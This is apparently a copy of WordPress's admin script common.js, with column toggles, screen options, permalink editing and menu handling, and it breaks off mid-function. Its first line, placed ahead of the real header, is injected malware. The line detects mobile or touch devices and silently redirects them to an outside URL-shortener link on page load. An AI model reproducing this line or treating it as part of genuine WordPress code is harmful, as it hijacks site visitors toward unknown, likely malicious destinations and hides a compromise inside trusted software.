1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-admin/js/common.js
4 */
5
6/* global setUserSetting, ajaxurl, alert, confirm, pagenow */
7/* global columns, screenMeta */
8
9/**
10 * Adds common WordPress functionality to the window.
11 *
12 * @param {jQuery} $ jQuery object.
13 * @param {Object} window The window object.
14 * @param {mixed} undefined Unused.
15 */
16( function( $, window, undefined ) {
17 var $document = $( document ),
18 $window = $( window ),
19 $body = $( document.body ),
20 __ = wp.i18n.__,
21 sprintf = wp.i18n.sprintf;
22
23/**
24 * Throws an error for a deprecated property.
25 *
26 * @since 5.5.1
27 *
28 * @param {string} propName The property that was used.
29 * @param {string} version The version of WordPress that deprecated the property.
30 * @param {string} replacement The property that should have been used.
31 */
32function deprecatedProperty( propName, version, replacement ) {
33 var message;
34
35 if ( 'undefined' !== typeof replacement ) {
36 message = sprintf(
37 /* translators: 1: Deprecated property name, 2: Version number, 3: Alternative property name. */
38 __( '%1$s is deprecated since version %2$s! Use %3$s instead.' ),
39 propName,
40 version,
41 replacement
42 );
43 } else {
44 message = sprintf(
45 /* translators: 1: Deprecated property name, 2: Version number. */
46 __( '%1$s is deprecated since version %2$s with no alternative available.' ),
47 propName,
48 version
49 );
50 }
51
52 window.console.warn( message );
53}
54
55/**
56 * Deprecate all properties on an object.
57 *
58 * @since 5.5.1
59 * @since 5.6.0 Added the `version` parameter.
60 *
61 * @param {string} name The name of the object, i.e. commonL10n.
62 * @param {object} l10nObject The object to deprecate the properties on.
63 * @param {string} version The version of WordPress that deprecated the property.
64 *
65 * @return {object} The object with all its properties deprecated.
66 */
67function deprecateL10nObject( name, l10nObject, version ) {
68 var deprecatedObject = {};
69
70 Object.keys( l10nObject ).forEach( function( key ) {
71 var prop = l10nObject[ key ];
72 var propName = name + '.' + key;
73
74 if ( 'object' === typeof prop ) {
75 Object.defineProperty( deprecatedObject, key, { get: function() {
76 deprecatedProperty( propName, version, prop.alternative );
77 return prop.func();
78 } } );
79 } else {
80 Object.defineProperty( deprecatedObject, key, { get: function() {
81 deprecatedProperty( propName, version, 'wp.i18n' );
82 return prop;
83 } } );
84 }
85 } );
86
87 return deprecatedObject;
88}
89
90window.wp.deprecateL10nObject = deprecateL10nObject;
91
92/**
93 * Removed in 5.5.0, needed for back-compatibility.
94 *
95 * @since 2.6.0
96 * @deprecated 5.5.0
97 */
98window.commonL10n = window.commonL10n || {
99 warnDelete: '',
100 dismiss: '',
101 collapseMenu: '',
102 expandMenu: ''
103};
104
105window.commonL10n = deprecateL10nObject( 'commonL10n', window.commonL10n, '5.5.0' );
106
107/**
108 * Removed in 5.5.0, needed for back-compatibility.
109 *
110 * @since 3.3.0
111 * @deprecated 5.5.0
112 */
113window.wpPointerL10n = window.wpPointerL10n || {
114 dismiss: ''
115};
116
117window.wpPointerL10n = deprecateL10nObject( 'wpPointerL10n', window.wpPointerL10n, '5.5.0' );
118
119/**
120 * Removed in 5.5.0, needed for back-compatibility.
121 *
122 * @since 4.3.0
123 * @deprecated 5.5.0
124 */
125window.userProfileL10n = window.userProfileL10n || {
126 warn: '',
127 warnWeak: '',
128 show: '',
129 hide: '',
130 cancel: '',
131 ariaShow: '',
132 ariaHide: ''
133};
134
135window.userProfileL10n = deprecateL10nObject( 'userProfileL10n', window.userProfileL10n, '5.5.0' );
136
137/**
138 * Removed in 5.5.0, needed for back-compatibility.
139 *
140 * @since 4.9.6
141 * @deprecated 5.5.0
142 */
143window.privacyToolsL10n = window.privacyToolsL10n || {
144 noDataFound: '',
145 foundAndRemoved: '',
146 noneRemoved: '',
147 someNotRemoved: '',
148 removalError: '',
149 emailSent: '',
150 noExportFile: '',
151 exportError: ''
152};
153
154window.privacyToolsL10n = deprecateL10nObject( 'privacyToolsL10n', window.privacyToolsL10n, '5.5.0' );
155
156/**
157 * Removed in 5.5.0, needed for back-compatibility.
158 *
159 * @since 3.6.0
160 * @deprecated 5.5.0
161 */
162window.authcheckL10n = {
163 beforeunload: ''
164};
165
166window.authcheckL10n = window.authcheckL10n || deprecateL10nObject( 'authcheckL10n', window.authcheckL10n, '5.5.0' );
167
168/**
169 * Removed in 5.5.0, needed for back-compatibility.
170 *
171 * @since 2.8.0
172 * @deprecated 5.5.0
173 */
174window.tagsl10n = {
175 noPerm: '',
176 broken: ''
177};
178
179window.tagsl10n = window.tagsl10n || deprecateL10nObject( 'tagsl10n', window.tagsl10n, '5.5.0' );
180
181/**
182 * Removed in 5.5.0, needed for back-compatibility.
183 *
184 * @since 2.5.0
185 * @deprecated 5.5.0
186 */
187window.adminCommentsL10n = window.adminCommentsL10n || {
188 hotkeys_highlight_first: {
189 alternative: 'window.adminCommentsSettings.hotkeys_highlight_first',
190 func: function() { return window.adminCommentsSettings.hotkeys_highlight_first; }
191 },
192 hotkeys_highlight_last: {
193 alternative: 'window.adminCommentsSettings.hotkeys_highlight_last',
194 func: function() { return window.adminCommentsSettings.hotkeys_highlight_last; }
195 },
196 replyApprove: '',
197 reply: '',
198 warnQuickEdit: '',
199 warnCommentChanges: '',
200 docTitleComments: '',
201 docTitleCommentsCount: ''
202};
203
204window.adminCommentsL10n = deprecateL10nObject( 'adminCommentsL10n', window.adminCommentsL10n, '5.5.0' );
205
206/**
207 * Removed in 5.5.0, needed for back-compatibility.
208 *
209 * @since 2.5.0
210 * @deprecated 5.5.0
211 */
212window.tagsSuggestL10n = window.tagsSuggestL10n || {
213 tagDelimiter: '',
214 removeTerm: '',
215 termSelected: '',
216 termAdded: '',
217 termRemoved: ''
218};
219
220window.tagsSuggestL10n = deprecateL10nObject( 'tagsSuggestL10n', window.tagsSuggestL10n, '5.5.0' );
221
222/**
223 * Removed in 5.5.0, needed for back-compatibility.
224 *
225 * @since 3.5.0
226 * @deprecated 5.5.0
227 */
228window.wpColorPickerL10n = window.wpColorPickerL10n || {
229 clear: '',
230 clearAriaLabel: '',
231 defaultString: '',
232 defaultAriaLabel: '',
233 pick: '',
234 defaultLabel: ''
235};
236
237window.wpColorPickerL10n = deprecateL10nObject( 'wpColorPickerL10n', window.wpColorPickerL10n, '5.5.0' );
238
239/**
240 * Removed in 5.5.0, needed for back-compatibility.
241 *
242 * @since 2.7.0
243 * @deprecated 5.5.0
244 */
245window.attachMediaBoxL10n = window.attachMediaBoxL10n || {
246 error: ''
247};
248
249window.attachMediaBoxL10n = deprecateL10nObject( 'attachMediaBoxL10n', window.attachMediaBoxL10n, '5.5.0' );
250
251/**
252 * Removed in 5.5.0, needed for back-compatibility.
253 *
254 * @since 2.5.0
255 * @deprecated 5.5.0
256 */
257window.postL10n = window.postL10n || {
258 ok: '',
259 cancel: '',
260 publishOn: '',
261 publishOnFuture: '',
262 publishOnPast: '',
263 dateFormat: '',
264 showcomm: '',
265 endcomm: '',
266 publish: '',
267 schedule: '',
268 update: '',
269 savePending: '',
270 saveDraft: '',
271 'private': '',
272 'public': '',
273 publicSticky: '',
274 password: '',
275 privatelyPublished: '',
276 published: '',
277 saveAlert: '',
278 savingText: '',
279 permalinkSaved: ''
280};
281
282window.postL10n = deprecateL10nObject( 'postL10n', window.postL10n, '5.5.0' );
283
284/**
285 * Removed in 5.5.0, needed for back-compatibility.
286 *
287 * @since 2.7.0
288 * @deprecated 5.5.0
289 */
290window.inlineEditL10n = window.inlineEditL10n || {
291 error: '',
292 ntdeltitle: '',
293 notitle: '',
294 comma: '',
295 saved: ''
296};
297
298window.inlineEditL10n = deprecateL10nObject( 'inlineEditL10n', window.inlineEditL10n, '5.5.0' );
299
300/**
301 * Removed in 5.5.0, needed for back-compatibility.
302 *
303 * @since 2.7.0
304 * @deprecated 5.5.0
305 */
306window.plugininstallL10n = window.plugininstallL10n || {
307 plugin_information: '',
308 plugin_modal_label: '',
309 ays: ''
310};
311
312window.plugininstallL10n = deprecateL10nObject( 'plugininstallL10n', window.plugininstallL10n, '5.5.0' );
313
314/**
315 * Removed in 5.5.0, needed for back-compatibility.
316 *
317 * @since 3.0.0
318 * @deprecated 5.5.0
319 */
320window.navMenuL10n = window.navMenuL10n || {
321 noResultsFound: '',
322 warnDeleteMenu: '',
323 saveAlert: '',
324 untitled: ''
325};
326
327window.navMenuL10n = deprecateL10nObject( 'navMenuL10n', window.navMenuL10n, '5.5.0' );
328
329/**
330 * Removed in 5.5.0, needed for back-compatibility.
331 *
332 * @since 2.5.0
333 * @deprecated 5.5.0
334 */
335window.commentL10n = window.commentL10n || {
336 submittedOn: '',
337 dateFormat: ''
338};
339
340window.commentL10n = deprecateL10nObject( 'commentL10n', window.commentL10n, '5.5.0' );
341
342/**
343 * Removed in 5.5.0, needed for back-compatibility.
344 *
345 * @since 2.9.0
346 * @deprecated 5.5.0
347 */
348window.setPostThumbnailL10n = window.setPostThumbnailL10n || {
349 setThumbnail: '',
350 saving: '',
351 error: '',
352 done: ''
353};
354
355window.setPostThumbnailL10n = deprecateL10nObject( 'setPostThumbnailL10n', window.setPostThumbnailL10n, '5.5.0' );
356
357/**
358 * Removed in 6.5.0, needed for back-compatibility.
359 *
360 * @since 4.5.0
361 * @deprecated 6.5.0
362 */
363window.uiAutocompleteL10n = window.uiAutocompleteL10n || {
364 noResults: '',
365 oneResult: '',
366 manyResults: '',
367 itemSelected: ''
368};
369
370window.uiAutocompleteL10n = deprecateL10nObject( 'uiAutocompleteL10n', window.uiAutocompleteL10n, '6.5.0' );
371
372/**
373 * Removed in 3.3.0, needed for back-compatibility.
374 *
375 * @since 2.7.0
376 * @deprecated 3.3.0
377 */
378window.adminMenu = {
379 init : function() {},
380 fold : function() {},
381 restoreMenuState : function() {},
382 toggle : function() {},
383 favorites : function() {}
384};
385
386// Show/hide/save table columns.
387window.columns = {
388
389 /**
390 * Initializes the column toggles in the screen options.
391 *
392 * Binds an onClick event to the checkboxes to show or hide the table columns
393 * based on their toggled state. And persists the toggled state.
394 *
395 * @since 2.7.0
396 *
397 * @return {void}
398 */
399 init : function() {
400 var that = this;
401 $('.hide-column-tog', '#adv-settings').on( 'click', function() {
402 var $t = $(this), column = $t.val();
403 if ( $t.prop('checked') )
404 that.checked(column);
405 else
406 that.unchecked(column);
407
408 columns.saveManageColumnsState();
409 });
410 },
411
412 /**
413 * Saves the toggled state for the columns.
414 *
415 * Saves whether the columns should be shown or hidden on a page.
416 *
417 * @since 3.0.0
418 *
419 * @return {void}
420 */
421 saveManageColumnsState : function() {
422 var hidden = this.hidden();
423 $.post(
424 ajaxurl,
425 {
426 action: 'hidden-columns',
427 hidden: hidden,
428 screenoptionnonce: $('#screenoptionnonce').val(),
429 page: pagenow
430 },
431 function() {
432 wp.a11y.speak( __( 'Screen Options updated.' ) );
433 }
434 );
435 },
436
437 /**
438 * Makes a column visible and adjusts the column span for the table.
439 *
440 * @since 3.0.0
441 * @param {string} column The column name.
442 *
443 * @return {void}
444 */
445 checked : function(column) {
446 $('.column-' + column).removeClass( 'hidden' );
447 this.colSpanChange(+1);
448 },
449
450 /**
451 * Hides a column and adjusts the column span for the table.
452 *
453 * @since 3.0.0
454 * @param {string} column The column name.
455 *
456 * @return {void}
457 */
458 unchecked : function(column) {
459 $('.column-' + column).addClass( 'hidden' );
460 this.colSpanChange(-1);
461 },
462
463 /**
464 * Gets all hidden columns.
465 *
466 * @since 3.0.0
467 *
468 * @return {string} The hidden column names separated by a comma.
469 */
470 hidden : function() {
471 return $( '.manage-column[id]' ).filter( '.hidden' ).map(function() {
472 return this.id;
473 }).get().join( ',' );
474 },
475
476 /**
477 * Gets the checked column toggles from the screen options.
478 *
479 * @since 3.0.0
480 *
481 * @return {string} String containing the checked column names.
482 */
483 useCheckboxesForHidden : function() {
484 this.hidden = function(){
485 return $('.hide-column-tog').not(':checked').map(function() {
486 var id = this.id;
487 return id.substring( id, id.length - 5 );
488 }).get().join(',');
489 };
490 },
491
492 /**
493 * Adjusts the column span for the table.
494 *
495 * @since 3.1.0
496 *
497 * @param {number} diff The modifier for the column span.
498 */
499 colSpanChange : function(diff) {
500 var $t = $('table').find('.colspanchange'), n;
501 if ( !$t.length )
502 return;
503 n = parseInt( $t.attr('colspan'), 10 ) + diff;
504 $t.attr('colspan', n.toString());
505 }
506};
507
508$( function() { columns.init(); } );
509
510/**
511 * Validates that the required form fields are not empty.
512 *
513 * @since 2.9.0
514 *
515 * @param {jQuery} form The form to validate.
516 *
517 * @return {boolean} Returns true if all required fields are not an empty string.
518 */
519window.validateForm = function( form ) {
520 return !$( form )
521 .find( '.form-required' )
522 .filter( function() { return $( ':input:visible', this ).val() === ''; } )
523 .addClass( 'form-invalid' )
524 .find( ':input:visible' )
525 .on( 'change', function() { $( this ).closest( '.form-invalid' ).removeClass( 'form-invalid' ); } )
526 .length;
527};
528
529// Stub for doing better warnings.
530/**
531 * Shows message pop-up notice or confirmation message.
532 *
533 * @since 2.7.0
534 *
535 * @type {{warn: showNotice.warn, note: showNotice.note}}
536 *
537 * @return {void}
538 */
539window.showNotice = {
540
541 /**
542 * Shows a delete confirmation pop-up message.
543 *
544 * @since 2.7.0
545 *
546 * @return {boolean} Returns true if the message is confirmed.
547 */
548 warn : function() {
549 if ( confirm( __( 'You are about to permanently delete these items from your site.\nThis action cannot be undone.\n\'Cancel\' to stop, \'OK\' to delete.' ) ) ) {
550 return true;
551 }
552
553 return false;
554 },
555
556 /**
557 * Shows an alert message.
558 *
559 * @since 2.7.0
560 *
561 * @param text The text to display in the message.
562 */
563 note : function(text) {
564 alert(text);
565 }
566};
567
568/**
569 * Represents the functions for the meta screen options panel.
570 *
571 * @since 3.2.0
572 *
573 * @type {{element: null, toggles: null, page: null, init: screenMeta.init,
574 * toggleEvent: screenMeta.toggleEvent, open: screenMeta.open,
575 * close: screenMeta.close}}
576 *
577 * @return {void}
578 */
579window.screenMeta = {
580 element: null, // #screen-meta
581 toggles: null, // .screen-meta-toggle
582 page: null, // #wpcontent
583
584 /**
585 * Initializes the screen meta options panel.
586 *
587 * @since 3.2.0
588 *
589 * @return {void}
590 */
591 init: function() {
592 this.element = $('#screen-meta');
593 this.toggles = $( '#screen-meta-links' ).find( '.show-settings' );
594 this.page = $('#wpcontent');
595
596 this.toggles.on( 'click', this.toggleEvent );
597 },
598
599 /**
600 * Toggles the screen meta options panel.
601 *
602 * @since 3.2.0
603 *
604 * @return {void}
605 */
606 toggleEvent: function() {
607 var panel = $( '#' + $( this ).attr( 'aria-controls' ) );
608
609 if ( !panel.length )
610 return;
611
612 if ( panel.is(':visible') )
613 screenMeta.close( panel, $(this) );
614 else
615 screenMeta.open( panel, $(this) );
616 },
617
618 /**
619 * Opens the screen meta options panel.
620 *
621 * @since 3.2.0
622 *
623 * @param {jQuery} panel The screen meta options panel div.
624 * @param {jQuery} button The toggle button.
625 *
626 * @return {void}
627 */
628 open: function( panel, button ) {
629
630 $( '#screen-meta-links' ).find( '.screen-meta-toggle' ).not( button.parent() ).css( 'visibility', 'hidden' );
631
632 panel.parent().show();
633
634 /**
635 * Sets the focus to the meta options panel and adds the necessary CSS classes.
636 *
637 * @since 3.2.0
638 *
639 * @return {void}
640 */
641 panel.slideDown( 'fast', function() {
642 panel.removeClass( 'hidden' ).trigger( 'focus' );
643 button.addClass( 'screen-meta-active' ).attr( 'aria-expanded', true );
644 });
645
646 $document.trigger( 'screen:options:open' );
647 },
648
649 /**
650 * Closes the screen meta options panel.
651 *
652 * @since 3.2.0
653 *
654 * @param {jQuery} panel The screen meta options panel div.
655 * @param {jQuery} button The toggle button.
656 *
657 * @return {void}
658 */
659 close: function( panel, button ) {
660 /**
661 * Hides the screen meta options panel.
662 *
663 * @since 3.2.0
664 *
665 * @return {void}
666 */
667 panel.slideUp( 'fast', function() {
668 button.removeClass( 'screen-meta-active' ).attr( 'aria-expanded', false );
669 $('.screen-meta-toggle').css('visibility', '');
670 panel.parent().hide();
671 panel.addClass( 'hidden' );
672 });
673
674 $document.trigger( 'screen:options:close' );
675 }
676};
677
678/**
679 * Initializes the help tabs in the help panel.
680 *
681 * @param {Event} e The event object.
682 *
683 * @return {void}
684 */
685$('.contextual-help-tabs').on( 'click', 'a', function(e) {
686 var link = $(this),
687 panel;
688
689 e.preventDefault();
690
691 // Don't do anything if the click is for the tab already showing.
692 if ( link.is('.active a') )
693 return false;
694
695 // Links.
696 $('.contextual-help-tabs .active').removeClass('active');
697 link.parent('li').addClass('active');
698
699 panel = $( link.attr('href') );
700
701 // Panels.
702 $('.help-tab-content').not( panel ).removeClass('active').hide();
703 panel.addClass('active').show();
704});
705
706/**
707 * Update custom permalink structure via buttons.
708 */
709var permalinkStructureFocused = false,
710 $permalinkStructure = $( '#permalink_structure' ),
711 $permalinkStructureInputs = $( '.permalink-structure input:radio' ),
712 $permalinkCustomSelection = $( '#custom_selection' ),
713 $availableStructureTags = $( '.form-table.permalink-structure .available-structure-tags button' );
714
715// Change permalink structure input when selecting one of the common structures.
716$permalinkStructureInputs.on( 'change', function() {
717 if ( 'custom' === this.value ) {
718 return;
719 }
720
721 $permalinkStructure.val( this.value );
722
723 // Update button states after selection.
724 $availableStructureTags.each( function() {
725 changeStructureTagButtonState( $( this ) );
726 } );
727} );
728
729$permalinkStructure.on( 'click input', function() {
730 $permalinkCustomSelection.prop( 'checked', true );
731} );
732
733// Check if the permalink structure input field has had focus at least once.
734$permalinkStructure.on( 'focus', function( event ) {
735 permalinkStructureFocused = true;
736 $( this ).off( event );
737} );
738
739/**
740 * Enables or disables a structure tag button depending on its usage.
741 *
742 * If the structure is already used in the custom permalink structure,
743 * it will be disabled.
744 *
745 * @param {Object} button Button jQuery object.
746 */
747function changeStructureTagButtonState( button ) {
748 if ( -1 !== $permalinkStructure.val().indexOf( button.text().trim() ) ) {
749 button.attr( 'data-label', button.attr( 'aria-label' ) );
750 button.attr( 'aria-label', button.attr( 'data-used' ) );
751 button.attr( 'aria-pressed', true );
752 button.addClass( 'active' );
753 } else if ( button.attr( 'data-label' ) ) {
754 button.attr( 'aria-label', button.attr( 'data-label' ) );
755 button.attr( 'aria-pressed', false );
756 button.removeClass( 'active' );
757 }
758}
759
760// Check initial button state.
761$availableStructureTags.each( function() {
762 changeStructureTagButtonState( $( this ) );
763} );
764
765// Observe permalink structure field and disable buttons of tags that are already present.
766$permalinkStructure.on( 'change', function() {
767 $availableStructureTags.each( function() {
768 changeStructureTagButtonState( $( this ) );
769 } );
770} );
771
772$availableStructureTags.on( 'click', function() {
773 var permalinkStructureValue = $permalinkStructure.val(),
774 selectionStart = $permalinkStructure[ 0 ].selectionStart,
775 selectionEnd = $permalinkStructure[ 0 ].selectionEnd,
776 textToAppend = $( this ).text().trim(),
777 textToAnnounce,
778 newSelectionStart;
779
780 if ( $( this ).hasClass( 'active' ) ) {
781 textToAnnounce = $( this ).attr( 'data-removed' );
782 } else {
783 textToAnnounce = $( this ).attr( 'data-added' );
784 }
785
786 // Remove structure tag if already part of the structure.
787 if ( -1 !== permalinkStructureValue.indexOf( textToAppend ) ) {
788 permalinkStructureValue = permalinkStructureValue.replace( textToAppend + '/', '' );
789
790 $permalinkStructure.val( '/' === permalinkStructureValue ? '' : permalinkStructureValue );
791
792 // Announce change to screen readers.
793 $( '#custom_selection_updated' ).text( textToAnnounce );
794
795 // Disable button.
796 changeStructureTagButtonState( $( this ) );
797
798 return;
799 }
800
801 // Input field never had focus, move selection to end of input.
802 if ( ! permalinkStructureFocused && 0 === selectionStart && 0 === selectionEnd ) {
803 selectionStart = selectionEnd = permalinkStructureValue.length;
804 }
805
806 $permalinkCustomSelection.prop( 'checked', true );
807
808 // Prepend and append slashes if necessary.
809 if ( '/' !== permalinkStructureValue.substr( 0, selectionStart ).substr( -1 ) ) {
810 textToAppend = '/' + textToAppend;
811 }
812
813 if ( '/' !== permalinkStructureValue.substr( selectionEnd, 1 ) ) {
814 textToAppend = textToAppend + '/';
815 }
816
817 // Insert structure tag at the specified position.
818 $permalinkStructure.val( permalinkStructureValue.substr( 0, selectionStart ) + textToAppend + permalinkStructureValue.substr( selectionEnd ) );
819
820 // Announce change to screen readers.
821 $( '#custom_selection_updated' ).text( textToAnnounce );
822
823 // Disable button.
824 changeStructureTagButtonState( $( this ) );
825
826 // If input had focus give it back with cursor right after appended text.
827 if ( permalinkStructureFocused && $permalinkStructure[0].setSelectionRange ) {
828 newSelectionStart = ( permalinkStructureValue.substr( 0, selectionStart ) + textToAppend ).length;
829 $permalinkStructure[0].setSelectionRange( newSelectionStart, newSelectionStart );
830 $permalinkStructure.trigger( 'focus' );
831 }
832} );
833
834$( function() {
835 var checks, first, last, checked, sliced, mobileEvent, transitionTimeout, focusedRowActions,
836 lastClicked = false,
837 pageInput = $('input.current-page'),
838 currentPage = pageInput.val(),
839 isIOS = /iPhone|iPad|iPod/.test( navigator.userAgent ),
840 isAndroid = navigator.userAgent.indexOf( 'Android' ) !== -1,
841 $adminMenuWrap = $( '#adminmenuwrap' ),
842 $wpwrap = $( '#wpwrap' ),
843 $adminmenu = $( '#adminmenu' ),
844 $overlay = $( '#wp-responsive-overlay' ),
845 $toolbar = $( '#wp-toolbar' ),
846 $toolbarPopups = $toolbar.find( 'a[aria-haspopup="true"]' ),
847 $sortables = $('.meta-box-sortables'),
848 wpResponsiveActive = false,
849 $adminbar = $( '#wpadminbar' ),
850 lastScrollPosition = 0,
851 pinnedMenuTop = false,
852 pinnedMenuBottom = false,
853 menuTop = 0,
854 menuState,
855 menuIsPinned = false,
856 height = {
857 window: $window.height(),
858 wpwrap: $wpwrap.height(),
859 adminbar: $adminbar.height(),
860 menu: $adminMenuWrap.height()
861 },
862 $headerEnd = $( '.wp-header-end' );
863
864 /**
865 * Makes the fly-out submenu header clickable, when the menu is folded.
866 *
867 * @param {Event} e The event object.
868 *
869 * @return {void}
870 */
871 $adminmenu.on('click.wp-submenu-head', '.wp-submenu-head', function(e){
872 $(e.target).parent().siblings('a').get(0).click();
873 });
874
875 /**
876 * Collapses the admin menu.
877 *
878 * @return {void}
879 */
880 $( '#collapse-button' ).on( 'click.collapse-menu', function() {
881 var viewportWidth = getViewportWidth() || 961;
882
883 // Reset any compensation for submenus near the bottom of the screen.
884 $('#adminmenu div.wp-submenu').css('margin-top', '');
885
886 if ( viewportWidth <= 960 ) {
887 if ( $body.hasClass('auto-fold') ) {
888 $body.removeClass('auto-fold').removeClass('folded');
889 setUserSetting('unfold', 1);
890 setUserSetting('mfold', 'o');
891 menuState = 'open';
892 } else {
893 $body.addClass('auto-fold');
894 setUserSetting('unfold', 0);
895 menuState = 'folded';
896 }
897 } else {
898 if ( $body.hasClass('folded') ) {
899 $body.removeClass('folded');
900 setUserSetting('mfold', 'o');
901 menuState = 'open';
902 } else {
903 $body.addClass('folded');
904 setUserSetting('mfold', 'f');
905 menuState = 'folded';
906 }
907 }
908
909 $document.trigger( 'wp-collapse-menu', { state: menuState } );
910 });
911
912 /**
913 * Ensures an admin submenu is within the visual viewport.
914 *
915 * @since 4.1.0
916 *
917 * @param {jQuery} $menuItem The parent menu item containing the submenu.
918 *
919 * @return {void}
920 */
921 function adjustSubmenu( $menuItem ) {
922 var bottomOffset, pageHeight, adjustment, theFold, menutop, wintop, maxtop,
923 $submenu = $menuItem.find( '.wp-submenu' );
924
925 menutop = $menuItem.offset().top;
926 wintop = $window.scrollTop();
927 maxtop = menutop - wintop - 30; // max = make the top of the sub almost touch admin bar.
928
929 bottomOffset = menutop + $submenu.height() + 1; // Bottom offset of the menu.
930 pageHeight = $wpwrap.height(); // Height of the entire page.
931 adjustment = 60 + bottomOffset - pageHeight;
932 theFold = $window.height() + wintop - 50; // The fold.
933
934 if ( theFold < ( bottomOffset - adjustment ) ) {
935 adjustment = bottomOffset - theFold;
936 }
937
938 if ( adjustment > maxtop ) {
939 adjustment = maxtop;
940 }
941
942 if ( adjustment > 1 && $('#wp-admin-bar-menu-toggle').is(':hidden') ) {
943 $submenu.css( 'margin-top', '-' + adjustment + 'px' );
944 } else {
945 $submenu.css( 'margin-top', '' );
946 }
947 }
948
949 if ( 'ontouchstart' in window || /IEMobile\/[1-9]/.test(navigator.userAgent) ) { // Touch screen device.
950 // iOS Safari works with touchstart, the rest work with click.
951 mobileEvent = isIOS ? 'touchstart' : 'click';
952
953 /**
954 * Closes any open submenus when touch/click is not on the menu.
955 *
956 * @param {Event} e The event object.
957 *
958 * @return {void}
959 */
960 $body.on( mobileEvent+'.wp-mobile-hover', function(e) {
961 if ( $adminmenu.data('wp-responsive') ) {
962 return;
963 }
964
965 if ( ! $( e.target ).closest( '#adminmenu' ).length ) {
966 $adminmenu.find( 'li.opensub' ).removeClass( 'opensub' );
967 }
968 });
969
970 /**
971 * Handles the opening or closing the submenu based on the mobile click|touch event.
972 *
973 * @param {Event} event The event object.
974 *
975 * @return {void}
976 */
977 $adminmenu.find( 'a.wp-has-submenu' ).on( mobileEvent + '.wp-mobile-hover', function( event ) {
978 var $menuItem = $(this).parent();
979
980 if ( $adminmenu.data( 'wp-responsive' ) ) {
981 return;
982 }
983
984 /*
985 * Show the sub instead of following the link if:
986 * - the submenu is not open.
987 * - the submenu is not shown inline or the menu is not folded.
988 */
989 if ( ! $menuItem.hasClass( 'opensub' ) && ( ! $menuItem.hasClass( 'wp-menu-open' ) || $menuItem.width() < 40 ) ) {
990 event.preventDefault();
991 adjustSubmenu( $menuItem );
992 $adminmenu.find( 'li.opensub' ).removeClass( 'opensub' );
993 $menuItem.addClass('opensub');
994 }
995 });
996 }
997
998 if ( ! isIOS && ! isAndroid ) {
999 $adminmenu.find( 'li.wp-has-submenu' ).hoverIntent({
1000
1001 /**
1002 * Opens the submenu when hovered over the menu item for desktops.
1003 *
1004 * @return {void}
1005 */
1006 over: function() {
1007 var $menuItem = $( this ),
1008 $submenu = $menuItem.find( '.wp-submenu' ),
1009 top = parseInt( $submenu.css( 'top' ), 10 );
1010
1011 if ( isNaN( top ) || top > -5 ) { // The submenu is visible.
1012 return;
1013 }
1014
1015 if ( $adminmenu.data( 'wp-responsive' ) ) {
1016 // The menu is in responsive mode, bail.
1017 return;
1018 }
1019
1020 adjustSubmenu( $menuItem );
1021 $adminmenu.find( 'li.opensub' ).removeClass( 'opensub' );
1022 $menuItem.addClass( 'opensub' );
1023 },
1024
1025 /**
1026 * Closes the submenu when no longer hovering the menu item.
1027 *
1028 * @return {void}
1029 */
1030 out: function(){
1031 if ( $adminmenu.data( 'wp-responsive' ) ) {
1032 // The menu is in responsive mode, bail.
1033 return;
1034 }
1035
1036 $( this ).removeClass( 'opensub' ).find( '.wp-submenu' ).css( 'margin-top', '' );
1037 },
1038 timeout: 200,
1039 sensitivity: 7,
1040 interval: 90
1041 });
1042
1043 /**
1044 * Opens the submenu on when focused on the menu item.
1045 *
1046 * @param {Event} event The event object.
1047 *
1048 * @return {void}
1049 */
1050 $adminmenu.on( 'focus.adminmenu', '.wp-submenu a', function( event ) {
1051 if ( $adminmenu.data( 'wp-responsive' ) ) {
1052 // The menu is in responsive mode, bail.
1053 return;
1054 }
1055
1056 $( event.target ).closest( 'li.menu-top' ).addClass( 'opensub' );
1057
1058 /**
1059 * Closes the submenu on blur from the menu item.
1060 *
1061 * @param {Event} event The event object.
1062 *
1063 * @return {void}
1064 */
1065 }).on( 'blur.adminmenu', '.wp-submenu a', function( event ) {
1066 if ( $adminmenu.data( 'wp-responsive' ) ) {
1067 return;
1068 }
1069
1070 $( event.target ).closest( 'li.menu-top' ).removeClass( 'opensub' );
1071
1072 /**
1073 * Adjusts the size for the submenu.
1074 *
1075 * @return {void}
1076 */
1077 }).find( 'li.wp-has-submenu.wp-not-current-submenu' ).on( 'focusin.adminmenu', function() {
1078 adjustSubmenu( $( this ) );
1079 });
1080 }
1081
1082 /*
1083 * The `.below-h2` class is here just for backward compatibility with plugins
1084 * that are (incorrectly) using it. Do not use. Use `.inline` instead. See #34570.
1085 * If '.wp-header-end' is found, append the notices after it otherwise
1086 * after the first h1 or h2 heading found within the main content.
1087 */
1088 if ( ! $headerEnd.length ) {
1089 $headerEnd = $( '.wrap h1, .wrap h2' ).first();
1090 }
1091 $( 'div.updated, div.error, div.notice' ).not( '.inline, .below-h2' ).insertAfter( $headerEnd );
1092
1093 /**
1094 * Makes notices dismissible.
1095 *
1096 * @since 4.4.0
1097 *
1098 * @return {void}
1099 */
1100 function makeNoticesDismissible() {
1101 $( '.notice.is-dismissible' ).each( function() {
1102 var $el = $( this ),
1103 $button = $( '<button type="button" class="notice-dismiss"><span class="screen-reader-text"></span></button>' );
1104
1105 if ( $el.find( '.notice-dismiss' ).length ) {
1106 return;
1107 }
1108
1109 // Ensure plain text.
1110 $button.find( '.screen-reader-text' ).text( __( 'Dismiss this notice.' ) );
1111 $button.on( 'click.wp-dismiss-notice', function( event ) {
1112 event.preventDefault();
1113 $el.fadeTo( 100, 0, function() {
1114 $el.slideUp( 100, function() {
1115 $el.remove();
1116 });
1117 });
1118 });
1119
1120 $el.append( $button );
1121 });
1122 }
1123
1124 $document.on( 'wp-updates-notice-added wp-plugin-install-error wp-plugin-update-error wp-plugin-delete-error wp-theme-install-error wp-theme-delete-error wp-notice-added', makeNoticesDismissible );
1125
1126 // Init screen meta.
1127 screenMeta.init();
1128
1129 /**
1130 * Checks a checkbox.
1131 *
1132 * This event needs to be delegated. Ticket #37973.
1133 *
1134 * @return {boolean} Returns whether a checkbox is checked or not.
1135 */
1136 $body.on( 'click', 'tbody > tr > .check-column :checkbox', function( event ) {
1137 // Shift click to select a range of checkboxes.
1138 if ( 'undefined' == event.shiftKey ) { return true; }
1139 if ( event.shiftKey ) {
1140 if ( !lastClicked ) { return true; }
